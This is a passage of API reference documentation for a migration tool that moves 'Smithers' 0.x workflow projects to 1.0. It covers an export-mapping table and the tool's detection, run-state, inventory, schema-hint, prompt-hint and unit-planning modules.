| `resolveSmithersBackendChoice`           | none                                                                                         | none                                                                            | unsafe    |
| `resolveSmithersBackendPreference`       | none                                                                                         | none                                                                            | unsafe    |
| `resolveSmithersObservabilityOptions`    | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `resolveWorktreePath`                    | none                                                                                         | none                                                                            | unsafe    |
| `revertToAttempt`                        | `TimeTravel.rewind`                                                                          | `@smthrs/time-travel/TimeTravel`                                                | guided    |
| `revertToJjPointer`                      | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `runJj`                                  | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `runScenario`                            | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `runScorersAsync`                        | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `runScorersBatch`                        | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `runTask`                                | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `runWithToolContext`                     | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `runWorkflow`                            | `flow.execute(payload, { executionId })`                                                     | `@smthrs/flow/Flow`                                                             | automatic |
| `runWorkflowScenario`                    | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `runsTotal`                              | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxActive`                          | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxBundleSizeBytes`                 | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxCompletedTotal`                  | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxCreatedTotal`                    | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxDurationMs`                      | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxPatchCount`                      | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `sandboxTransportDurationMs`             | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `scenario`                               | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `schedulerQueueDepth`                    | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `schemaAdherenceScorer`                  | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `scriptedAgent`                          | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `settleDelegationV2Envelope`             | none                                                                                         | none                                                                            | unsafe    |
| `signalRun`                              | `Control.signal`                                                                             | `@smthrs/control/Control`                                                       | guided    |
| `simulate`                               | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `smithers`                               | `Flow.make(tag, { payload, success, error, body })`                                          | `@smthrs/flow/Flow`                                                             | guided    |
| `smithers add`                           | none                                                                                         | none                                                                            | unsafe    |
| `smithers approve`                       | none                                                                                         | none                                                                            | unsafe    |
| `smithers ask-human`                     | none                                                                                         | none                                                                            | unsafe    |
| `smithers cancel`                        | `smthrs runs cancel <run>`                                                                   | `@smthrs/cli`                                                                   | guided    |
| `smithers cron`                          | none                                                                                         | none                                                                            | unsafe    |
| `smithers deny`                          | none                                                                                         | none                                                                            | unsafe    |
| `smithers docs`                          | none                                                                                         | none                                                                            | unsafe    |
| `smithers docs-full`                     | none                                                                                         | none                                                                            | unsafe    |
| `smithers eval`                          | none                                                                                         | none                                                                            | unsafe    |
| `smithers fork`                          | none                                                                                         | none                                                                            | unsafe    |
| `smithers gateway`                       | none                                                                                         | none                                                                            | unsafe    |
| `smithers graph`                         | none                                                                                         | none                                                                            | unsafe    |
| `smithers hijack`                        | none                                                                                         | none                                                                            | unsafe    |
| `smithers human`                         | none                                                                                         | none                                                                            | unsafe    |
| `smithers init`                          | none                                                                                         | none                                                                            | unsafe    |
| `smithers inspect`                       | none                                                                                         | none                                                                            | unsafe    |
| `smithers listeners`                     | none                                                                                         | none                                                                            | unsafe    |
| `smithers migrate`                       | none                                                                                         | none                                                                            | unsafe    |
| `smithers optimize`                      | none                                                                                         | none                                                                            | unsafe    |
| `smithers pause`                         | none                                                                                         | none                                                                            | unsafe    |
| `smithers ps`                            | `smthrs runs list`                                                                           | `@smthrs/cli`                                                                   | guided    |
| `smithers replay`                        | none                                                                                         | none                                                                            | unsafe    |
| `smithers restore`                       | none                                                                                         | none                                                                            | unsafe    |
| `smithers retry-task`                    | none                                                                                         | none                                                                            | unsafe    |
| `smithers revert`                        | none                                                                                         | none                                                                            | unsafe    |
| `smithers rewind`                        | none                                                                                         | none                                                                            | unsafe    |
| `smithers share`                         | none                                                                                         | none                                                                            | unsafe    |
| `smithers signal`                        | none                                                                                         | none                                                                            | unsafe    |
| `smithers snapshots`                     | none                                                                                         | none                                                                            | unsafe    |
| `smithers timeline`                      | none                                                                                         | none                                                                            | unsafe    |
| `smithers ui`                            | none                                                                                         | none                                                                            | unsafe    |
| `smithers up`                            | `smthrs flow start <flow> --data <json> [--detached]`                                        | `@smthrs/cli`                                                                   | automatic |
| `smithers upgrade`                       | none                                                                                         | none                                                                            | unsafe    |
| `smithers workflow`                      | `smthrs flow start <flow> --data <json> [--detached]`                                        | `@smthrs/cli`                                                                   | automatic |
| `smithers worktrees`                     | none                                                                                         | none                                                                            | unsafe    |
| `smithers.config.ts`                     | `Verification commands`                                                                      | none                                                                            | automatic |
| `smithersMetrics`                        | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `smithersScorers`                        | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `smthrs/aws`                             | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/browser`                         | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/cloudflare`                      | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/control-plane`                   | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/daytona`                         | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/evals`                           | `@smthrs/evals`                                                                              | `@smthrs/evals`                                                                 | guided    |
| `smthrs/gateway-client`                  | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/gateway-react`                   | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/gateway-ui`                      | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/gcp`                             | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/jsx-dev-runtime`                 | none                                                                                         | none                                                                            | automatic |
| `smthrs/jsx-runtime`                     | none                                                                                         | none                                                                            | automatic |
| `smthrs/memory`                          | `@smthrs/memory`                                                                             | `@smthrs/memory`                                                                | guided    |
| `smthrs/microsandbox`                    | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/openapi`                         | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/sandbox`                         | `@smthrs/sandbox`                                                                            | `@smthrs/sandbox`                                                               | guided    |
| `smthrs/scorers`                         | `@smthrs/scorers`                                                                            | `@smthrs/scorers`                                                               | guided    |
| `smthrs/server`                          | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/telegram`                        | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/testing`                         | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `smthrs/tools`                           | `@smthrs/std`                                                                                | `@smthrs/std`                                                                   | guided    |
| `smthrs/ui`                              | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/vercel`                          | none                                                                                         | none                                                                            | unsafe    |
| `smthrs/xstate`                          | none                                                                                         | none                                                                            | unsafe    |
| `startServer`                            | none                                                                                         | none                                                                            | unsafe    |
| `syncZodTableSchema`                     | none                                                                                         | none                                                                            | unsafe    |
| `tables.<key>`                           | `The planned value in scope`                                                                 | `@smthrs/plan/Node`                                                             | automatic |
| `tierSchema`                             | none                                                                                         | none                                                                            | unsafe    |
| `timeTravel`                             | `TimeTravel.fork`                                                                            | `@smthrs/time-travel/TimeTravel`                                                | guided    |
| `timerDelayDuration`                     | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `timersCancelled`                        | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `timersCreated`                          | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `timersFired`                            | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `timersPending`                          | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `toolCallsTotal`                         | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `toolDuration`                           | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `tools`                                  | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `toxicityScorer`                         | `@smthrs/scorers, @smthrs/evals`                                                             | `@smthrs/scorers, @smthrs/evals`                                                | guided    |
| `trackSmithersEvent`                     | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `trellisPrompts`                         | none                                                                                         | none                                                                            | unsafe    |
| `tsconfig.json`                          | `The flows tsconfig shape`                                                                   | none                                                                            | automatic |
| `unitSimHarness`                         | `@smthrs/testing`                                                                            | `@smthrs/testing`                                                               | guided    |
| `unwrapZodType`                          | none                                                                                         | none                                                                            | unsafe    |
| `useCtx`                                 | `The flow body payload`                                                                      | `@smthrs/flow/Flow`                                                             | automatic |
| `usePatched`                             | none                                                                                         | none                                                                            | unsafe    |
| `validateWorkflowProgram`                | none                                                                                         | none                                                                            | unsafe    |
| `vcsDuration`                            | `The kernel's telemetry and the OTLP layer`                                                  | `@smthrs/kernel, @smthrs/observability`                                         | guided    |
| `withCommitRange`                        | none                                                                                         | none                                                                            | unsafe    |
| `workflow`                               | `Flow.make`                                                                                  | `@smthrs/flow/Flow`                                                             | automatic |
| `workflowTool`                           | `FlowBinding.make({ flow, handler })`                                                        | `@smthrs/harness/FlowBinding`                                                   | guided    |
| `workspaceAdd`                           | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `workspaceClose`                         | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `workspaceList`                          | `@smthrs/jj`                                                                                 | `@smthrs/jj`                                                                    | guided    |
| `write`                                  | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `writeFileTool`                          | `The std flows bound through StandardFlows`                                                  | `@smthrs/std, @smthrs/agent/StandardFlows`                                      | automatic |
| `zod`                                    | `effect/Schema`                                                                              | `effect/Schema`                                                                 | automatic |
| `zodSchemaColumns`                       | none                                                                                         | none                                                                            | unsafe    |
| `zodSchemaToJsonExample`                 | none                                                                                         | none                                                                            | automatic |
| `zodToCreateTableSQL`                    | none                                                                                         | none                                                                            | unsafe    |
| `zodToTable`                             | none                                                                                         | none                                                                            | unsafe    |

## Detect

### Exports

| Export                   | Signature                                                                                      | What it is                                                                |
| ------------------------ | ---------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------- |
| `scan`                   | `(root: string, options?: ScanOptions) => Effect<Detection, MigrateError, FileSystem \| Path>` | Walks a project and returns everything the later modules read.            |
| `Detection`              | `interface`                                                                                    | One walk's findings, including `sources`: the text of every file it read. |
| `ScanOptions`            | `interface`                                                                                    | `ignore` paths and the `environment` the state paths come from.           |
| `isOldSpecifier`         | `(specifier: string, context?: SpecifierContext) => boolean`                                   | Whether an import specifier is 0.x, in this project's context.            |
| `classifyPackage`        | `(name: string, version: string) => OldPackageReason \| undefined`                             | Why a dependency counts as old, or that it does not.                      |
| `classifyPrompt`         | `(text: string) => { classification: "interpolation-only" \| "jsx"; ... }`                     | Whether an MDX prompt is convertible text or renders components.          |
| `resolvedEffectVersions` | `(lock: string) => ReadonlyArray<string>`                                                      | What a pnpm, bun, npm, or yarn lockfile resolved `effect` to.             |
| `SpecifierContext`       | `interface`                                                                                    | What the manifests decided about names that exist in both trees.          |
| `oldPackageNames`        | `ReadonlyArray<string>`                                                                        | Names that only ever existed in Smithers 0.x.                             |
| `oldScopes`              | `ReadonlyArray<string>`                                                                        | Scopes that only ever existed in Smithers 0.x.                            |
| `deletedSmthrsPackages`  | `ReadonlyArray<string>`                                                                        | `@smthrs/*` packages 1.0 does not ship.                                   |
| `companionPackages`      | `ReadonlyArray<string>`                                                                        | Packages recorded beside the old ones: `react`, `zod`, `effect`.          |
| `foreignAuthoringApis`   | `ReadonlyArray<string>`                                                                        | Known non-Smithers authoring APIs.                                        |
| `localPackageName`       | `"smithers"`                                                                                   | The bare name that is the old facade only where a manifest declares it.   |

The findings types are `OldPackage`, `CompanionPackage`, `ManifestFinding`,
`TsconfigFinding`, `FileHit`, `ImportHit`, `WorkflowFile`, `WorkflowApi`,
`PromptFile`, `UiFile`, `ScriptHit`, `ConfigFindings`, `IntegrationHit`,
`EffectDeclaration`, `ManifestField`, `OldPackageReason`, and `Warning`.

`Detect.scan(root, options?)` walks a project, skipping `node_modules`, `.git`,
`.jj`, `dist`, `.flows`, and the 0.x run-state directories, and returns a
`Detection`. What the walk could not read is reported rather than dropped: a
directory it could not list, one deeper than twelve levels, and a file over
8 MB each raise an `incomplete-scan` warning naming the path, and `Gate`
refuses to `apply` a plan built over one (`scan` and `plan` still report it).

- **Packages**: the root `package.json`, every workspace member,
  `.smithers/package.json`, and any manifest next to a workflow file.
  `Detect.classifyPackage(name, version)` decides whether a dependency is 0.x:
  a name that only ever existed in Smithers 0.x (`smthrs`,
  `smithers-orchestrator`, `@smithers/*`) is decided by name; a name that
  exists in both trees (`@smthrs/cli`, `engine`, `memory`, `testing`) is decided
  by version alone, against `<1.0.0-0`. `1.0.0-rc.0` is not before that range, so
  a project already on the release candidate is not reported as old. Companion
  packages (`react`, `ai`, `@ai-sdk/*`, `zod`, `effect`, `xstate`) are recorded.
  Every `effect` declaration in every manifest is kept in `effectDeclarations`
  with its file and field, and each one that is not what a migrated project
  declares raises `effect-pin-conflict` naming it. A field that installs
  `effect` ends on exactly `4.0.5`, the version this release is tested on: a
  range resolves to whatever is newest on install day, and two manifests that
  disagree install two Effects. A `peerDependencies` entry ends on `4.0.5`,
  the exact version the published libraries require. `Detect.resolvedEffectVersions(lock)` reads what a pnpm, bun, npm,
  or yarn lockfile resolved `effect` to, and a resolution other than the pin
  raises the same warning against the lockfile.
- **Imports and pragmas**: every import specifier, read with the TypeScript
  compiler API one file at a time, classified `old`, `foreign`, `mdx`, or
  `relative`. `Detect.isOldSpecifier(specifier, context)` makes that call, and
  the context comes from the manifests: the bare name `smithers` is the old
  facade only where one declares it, and an `@smthrs/<name>` that exists in both
  trees is old only where one pins it below `1.0.0`. Both `@jsxImportSource`
  spellings are recorded, as are every `tsconfig*.json`'s `jsx`,
  `jsxImportSource`, and `smthrs` path mappings.
- **Workflow files**: a `.jsx` or `.tsx` file sitting directly in
  `.smithers/workflows/`, an `examples/*.{jsx,tsx}`, or any `.jsx`/`.tsx` that
  carries a pragma or calls `createSmithers`, `runWorkflow`, or `smithers`. Two
  rules narrow that. A `.jsx` or `.tsx` nested inside a pack directory under
  `.smithers/workflows/` has to `export default` a factory call or carry a
  `// smithers-source:` header, because most of a pack's `.tsx` files are
  components: Plue's `batch-issues` pack holds thirteen function components
  beside the one `workflow.tsx` that default-exports the factory, and planning
  the components as flows would give the pack fourteen flows and one real one.
  A file that is not JSX has to `export default` a rendered workflow: a `.ts`
  beside a workflow is a schema, a config, or a helper far more often than it is
  a workflow, and the same pack holds eleven schema modules and a config. Whether
  a file renders JSX is read off its syntax tree, not its text, so a migrated
  flow whose JSDoc says which element it replaced is not mistaken for one.
  Each carries an `api`: `smthrs`, `smithers-orchestrator`, `foreign` (a known
  non-Smithers authoring API), `flows` (already on Smithers 1.0), or `unknown`.
  `foreign` and `unknown` raise `unknown-authoring-api` and contribute no
  constructs, because guessing at a foreign API's semantics is how a migration
  corrupts a project. `flows` raises `already-migrated` and gets no unit: running
  the tool twice has to be safe, and a second run over its own output must
  recognize that output rather than hand it back to the agent and write the
  result to a second path. Old wins over new on a file that imports both, because
  a half-migrated file still has a 0.x half to migrate. A file that
  imports both 0.x and a foreign API, such as Plue's `issue-pipeline.tsx`, raises
  `mixed-authoring-api`: the inventory records its 0.x half and the warning
  names the other half, so neither is dropped in silence. A `createSmithers`
  that came from a foreign package binds nothing, because a foreign factory
  hands back a foreign `Workflow` and a foreign `Task`. The `// smithers-*`
  header comments are parsed into metadata.
- **Prompts**: every `.mdx` in a prompt directory or imported by a workflow,
  classified `interpolation-only` or `jsx` by
  `Detect.classifyPrompt(text)`.
- **Components, UIs, tests, libraries**: shared modules that reach the old
  facade, `<UI entry>` targets resolved to files (an unresolved one raises
  `unresolved-ui-entry`), files importing `smthrs/testing`, and the transitive
  closure of a workflow's relative imports, capped at depth 8. Reaching the
  facade is transitive: a pack calls `createSmithers` in one module and imports
  the bindings everywhere else, so eight of `batch-issues`'s thirteen components
  name no old package at all and are 0.x source all the same. A `components/`
  directory anywhere inside a `.smithers` or `examples` tree holds components,
  not only the one at its root.
- **Scripts**: old CLI invocations and `SMITHERS_*` environment names in
  `package.json` scripts, shell scripts, `Makefile`, `Justfile`, GitHub
  workflows, `bunfig.toml`, `Procfile`, compose files, and Markdown.
- **Config and integrations**: `smithers.config.ts` (`backend` and
  `repoCommands`), `.smithers/agents*`, `preload.ts` (`mdxPlugin()`),
  `bunfig.toml` preloads, `gateway.ts`, `smithers.toon`, `listeners.json`,
  `packs`, asset type declarations, skills, evals, and every integration
  subpath import or `SMITHERS_*` name in a deployment manifest.

`Detection.sources` carries the text of every file a scanner read. `Scan.scan`
shares one native compiler session and caches syntax trees by path and content
across detection, inventory, schema hints, mapping, and unit planning. The
session and cache are released when the scan ends.

## RunState

### Exports

| Export                | Signature                                                                                                             | What it is                                                                             |
| --------------------- | --------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
| `scan`                | `(root: string, detection: Detection, options?: Options) => Effect<RunStateReport, MigrateError, FileSystem \| Path>` | The read-only run-state pass.                                                          |
| `RunStateReport`      | `interface`                                                                                                           | The verdict, the databases, the backends, the state directories, and the instructions. |
| `roots`               | `(report: RunStateReport) => ReadonlyArray<string>`                                                                   | Every project-relative directory run state lives in, nested ones folded in.            |
| `instructionText`     | `{ live, parked, archive, backend }`                                                                                  | The four operator texts, rendered verbatim into the report and onto stderr.            |
| `readDatabase`        | `(file, relativePath, siblings, now, liveWindowMs) => DatabaseFinding`                                                | Opens one SQLite file read only. A throw becomes `readable: false`.                    |
| `terminalStatuses`    | `ReadonlyArray<string>`                                                                                               | `finished`, `failed`, `cancelled`, `continued`. Everything else blocks.                |
| `defaultLiveWindowMs` | `number`                                                                                                              | How recent a heartbeat must be for a run to count as live: ten minutes.                |
| `Options`             | `interface`                                                                                                           | The clock and the live window a scan uses.                                             |

The finding types are `RunRow`, `DatabaseFinding`, `ExternalDatabase`,
`BackendSetting`, and `StateDir`.

`RunState.scan(root, detection, options?)` is the gate. It is read only: it
never opens a database in write mode, never runs a migration, never deletes a
file, and never connects to Postgres.

It opens each candidate SQLite file (`smithers.db`, `.smithers/smithers.db`,
every `dbPath:` literal in project source, every `SMITHERS_DB` value in a
dotenv file) with `node:sqlite` in read-only mode and records the
`_smithers_*` tables, the migration count and highest id, the runs grouped by
status, and every row whose status is not `finished`, `failed`, `cancelled`, or
`continued`. A row whose `heartbeat_at_ms` is within ten minutes of `now` is
`live`; anything older is `parked`. A database that will not open is recorded
as unreadable and blocks exactly as a live run does, because the tool cannot
prove the project has no work in flight.

Postgres and PGlite are recorded from settings: `backend:` in
`smithers.config.ts`, `createSmithersPostgres(`, `SMITHERS_BACKEND`,
`SMITHERS_POSTGRES_URL`, a `PG_VERSION` marker, and never connected to.

The verdict is `clean`, `history-only`, or `blocked`, and the instructions come
back in the order the operator has to act on them: live runs first, then parked
runs, then the archive, then the backend, then a gateway that still names this
workspace. The texts are in `RunState.instructionText`, and they are rendered
verbatim into the report and onto stderr:

| Case               | Instruction                                                                                                                                     |
| ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------- |
| Live               | finish or cancel these runs with the 0.x CLI you already have (`smithers cancel RUN_ID` or `smithers down`), then rerun the scan                |
| Parked             | cancel or accept the loss of these parked runs; the 1.0 runtime cannot resume them                                                              |
| History            | archive the database: `mkdir -p .smithers-migrate/archive && mv .smithers/smithers.db* .smithers-migrate/archive/`; 1.0 does not import history |
| Postgres or PGlite | the 1.0 RC supports SQLite only; export what you need with the 0.x CLI, then remove the backend setting                                         |

`apply` proceeds past a `blocked` or `history-only` verdict only with
`--acknowledge-run-state`, and even then the tool writes nothing under any
recorded path. A deterministic check walks every recorded path and compares the
file set both ways against the checkpoint, so a file added under a run-state
directory fails the unit exactly as a changed one does.

`history-only` blocks for the same reason `blocked` does. A database whose runs
have all finished is still 0.x run state: a 1.0 runtime cannot read it, so the
operator has to archive or discard it deliberately.

`RunState.roots(report)` lists every project-relative directory the report
found run state in: the state directories, and the parent of each database and
gateway state file, with nested roots folded into their parents. A checkpoint
records that list so `Checks.run` can prove nothing was added under any of
them.

## Inventory

### Exports

| Export             | Signature                                                                                   | What it is                                                         |
| ------------------ | ------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| `scan`             | `(detection: Detection) => Effect<ReadonlyArray<InventoryEntry>, MigrateError, FileSystem>` | Every construct hit in the project.                                |
| `InventoryEntry`   | `interface`                                                                                 | One hit: `file`, `line`, `column`, `construct`, `props`, `detail`. |
| `scanFile`         | `(file: string, text: string, options) => ReadonlyArray<InventoryEntry>`                    | The same pass over one file's text.                                |
| `factoryNames`     | `(sources: ReadonlyMap<string, string>) => ReadonlySet<string>`                             | Local functions whose body calls `createSmithers`.                 |
| `factoryBindings`  | `ReadonlyArray<string>`                                                                     | The names a `createSmithers` destructuring can bind.               |
| `factoryReexports` | `(sources, factories) => ReadonlyMap<string, ReadonlyMap<string, string>>`                  | Factory bindings re-exported from one module to another.           |
| `zodChains`        | `(file: string, text: string) => ReadonlyArray<{ ... }>`                                    | The zod chains in one file, for `ZodSchemaHints`.                  |
| `mdxImports`       | `(file: string, text: string) => ReadonlyArray<{ ... }>`                                    | The MDX prompts one file imports, for `PromptHints`.               |

`Inventory.scan(detection)` records what is actually in the files: every JSX
element whose tag resolves to a catalog component, every `ctx` accessor, every
agent constructor with the model it names, and every runtime, store, or tool
call. Each `InventoryEntry` carries `file`, `line`, `column`, `construct`, the
props present, and the prop values a mapping decision needs.

Resolution is syntactic and deliberately narrow. A tag counts only when its
identifier comes from an old import or from destructuring a `createSmithers`
factory, including a local wrapper, which `Inventory.factoryNames` finds by
looking for functions whose body calls `createSmithers`, because the old
examples all wrap it.

A group also records what its own steps declare: `childConstructs`,
`childPayloads`, `childOutputs`, and `childAgents`: because that is what a
rewrite of the group needs: the last step's output schema is the flow's
`success`, and a step running on an agent is what gives the flow an
`AgentAction.AgentFailure` error. A `<Workflow>` additionally carries the
`// smithers-description:` or `// smithers-display-name:` header its file
declares, which is the only prose 0.x records about a workflow and the only
honest source for the `description` the registry requires.

`Inventory.zodChains(file, text)` and `Inventory.mdxImports(file, text)` feed
the two hint modules.

## ZodSchemaHints

### Exports

| Export           | Signature                                          | What it is                                                                         |
| ---------------- | -------------------------------------------------- | ---------------------------------------------------------------------------------- |
| `classify`       | `(chain: string) => Classification`                | Whether a chain is in the safe subset, and why not when it is not.                 |
| `print`          | `(chain: string) => string \| undefined`           | The `effect/Schema` text for a whole schema, or nothing.                           |
| `printField`     | `(chain: string) => string \| undefined`           | The same for a struct field, where a top-level default or optional has a spelling. |
| `hints`          | `(detection: Detection) => ReadonlyArray<ZodHint>` | Every chain in the project, classified.                                            |
| `Classification` | `interface`                                        | The verdict and its reason.                                                        |
| `ZodHint`        | `interface`                                        | One chain, its file, and its classification.                                       |

Printed text needs `Schema` in scope. A field with a default also needs
`Effect` from `effect/Effect` and `SchemaGetter` from `effect/SchemaGetter`.

`ZodSchemaHints.classify(chain)` and `print(chain)` convert the safe zod subset
to `effect/Schema` text: `z.object`, `z.string`, `z.number`, `z.boolean`,
`z.unknown`, `z.any`, `z.array`, `z.enum`, `z.literal`, `z.union`, `z.record`,
`z.int`, `.optional()`, `.nullable()`, `.nullish()`, supported `.default()`
fields, `.describe()`, and numeric and length checks become `Schema.Struct`,
`Schema.String`, `Schema.Number`, `Schema.Boolean`, `Schema.Unknown`,
`Schema.Array`, `Schema.Literals`, `Schema.Literal`, `Schema.Union`,
`Schema.Record`, `Schema.Int`, `Schema.optional`, `Schema.NullOr`,
`Schema.decodeTo` with `SchemaGetter.withDefault` and
`SchemaGetter.required`, `.annotate({ description })`, and
`Schema.check(...)`.

Chained `.int()` adds `Schema.check(Schema.isInt())` to the current schema.
Numeric bounds from `.min()`, `.max()`, `.positive()`, and `.nonnegative()`
are preserved before or after `.int()`.

Supported field defaults apply to missing and explicit `undefined` inputs.
Encoding requires the decoded field key to be present.

The printer refuses, rather than approximates, whatever it cannot say with the
same meaning: a `z.record` key that is neither a string nor a literal set, a
nested `.optional()` or `.default()` inside an array, a union, or a record
(a nested `.describe()` survives as an annotation), and a `.min()`/`.max()`
on a kind that has no such check, and a top-level `.optional()` or
`.default()`, which a bare schema has no spelling for (a top-level
`.describe()` becomes an annotation). A string or an array gets a length check
and a number gets a bound, decided by what the chain is rather than by its
text. `printField(chain)` is `print` for a struct field: a top-level default,
optional, or description is applied the way the field carries it, which is
what `Mapping.snippet` uses for a step's payload keys.

Automatic defaults accept string, finite unsigned numeric, boolean, and `null`
literals, plus empty array and object literals, when the value belongs to the
unrefined field domain. Other default expressions and incompatible literal
values are guided. Defaults combined with `.optional()` or `.nullish()`, on
`z.unknown()` or `z.any()`, or followed by a check are guided. Defaults on a
union, `z.int()`, a checked schema, a record with literal keys, or an object
unless all its fields are optional or nullish and none has a default are also
guided, except when `.nullable()` adds a `null` fallback. A union containing
`z.unknown()` or `z.any()` remains guided even with that fallback.

Everything else is `guided` with a reason: `.passthrough()`, `.refine()`,
`.transform()`, `z.discriminatedUnion`, `z.lazy`, `z.tuple`, and custom error
maps carry behavior a text rewrite cannot preserve.

## PromptHints

### Exports

| Export       | Signature                                             | What it is                                                           |
| ------------ | ----------------------------------------------------- | -------------------------------------------------------------------- |
| `classify`   | `(text: string) => "interpolation-only" \| "jsx"`     | Whether a prompt converts to a template literal.                     |
| `print`      | `(text: string, payloadName?: string) => string`      | The template-literal body, with `{props.x}` becoming `${payload.x}`. |
| `hints`      | `(detection: Detection) => ReadonlyArray<PromptHint>` | Every prompt in the project, classified.                             |
| `PromptHint` | `interface`                                           | One prompt, its file, and its classification.                        |

`PromptHints.classify(text)` and `print(text, payloadName?)` turn an
interpolation-only MDX prompt into a template-literal body, with each
`{props.x}` becoming `${payload.x}` and backticks, backslashes, and `${`
escaped so the prose survives. A prompt that imports a module or renders a
component is `jsx`, and the agent decides what it becomes.

## Units

### Exports

| Export                | Signature                                                                                        | What it is                                                                                                 |
| --------------------- | ------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------- |
| `plan`                | `(input: PlanInput, options?: Options) => ReadonlyArray<UnitPlan>`                               | The ordered unit plan.                                                                                     |
| `UnitPlan`            | `interface`                                                                                      | One unit: id, kind, sources, targets, constructs, mapping, hints, unsafe, notes, specifiers, verification. |
| `UnitKind`            | `"dependencies" \| "workflow" \| "integration" \| "project"`                                     | The four kinds, in the order they run.                                                                     |
| `UnitNote`            | `interface`                                                                                      | What planning could not settle. Reaches the report as unresolved.                                          |
| `PlanInput`           | `interface`                                                                                      | `detection`, `inventory`, and the two hint arrays.                                                         |
| `Options`             | `interface`                                                                                      | `flowsDir` and the command overrides.                                                                      |
| `CommandOverrides`    | `interface`                                                                                      | The four operator-supplied verification commands.                                                          |
| `VerifyCommands`      | `interface`                                                                                      | The install, format, typecheck, test, and discovery commands, plus the notes.                              |
| `verifyCommands`      | `(detection: Detection, overrides?: CommandOverrides, flowsDir?: string) => VerifyCommands`      | The derivation itself.                                                                                     |
| `defaultFlowsDir`     | `".smithers/flows"`                                                                              | Where migrated flows go: the registry's `Descriptor.projectFlowsDirectory`.                                |
| `orderWorkflows`      | `<A extends { path: string }>(workflows, imports) => { ordered: ReadonlyArray<A>; cycles: ... }` | Dependency order, with cycles broken lexically and reported.                                               |
| `flowName`            | `(path: string) => string`                                                                       | The registry name a workflow file becomes.                                                                 |
| `duplicateIds`        | `(units: ReadonlyArray<UnitPlan>) => ReadonlyArray<{ ... }>`                                     | Two units that would share one id.                                                                         |
| `specifierContext`    | `(detection: Detection) => SpecifierContext`                                                     | What the manifests decided, carried onto every unit.                                                       |
| `simpleCommand`       | `(line: string) => ArgvCommand \| undefined`                                                     | A repository-authored line as an argv, when it is plain words.                                             |
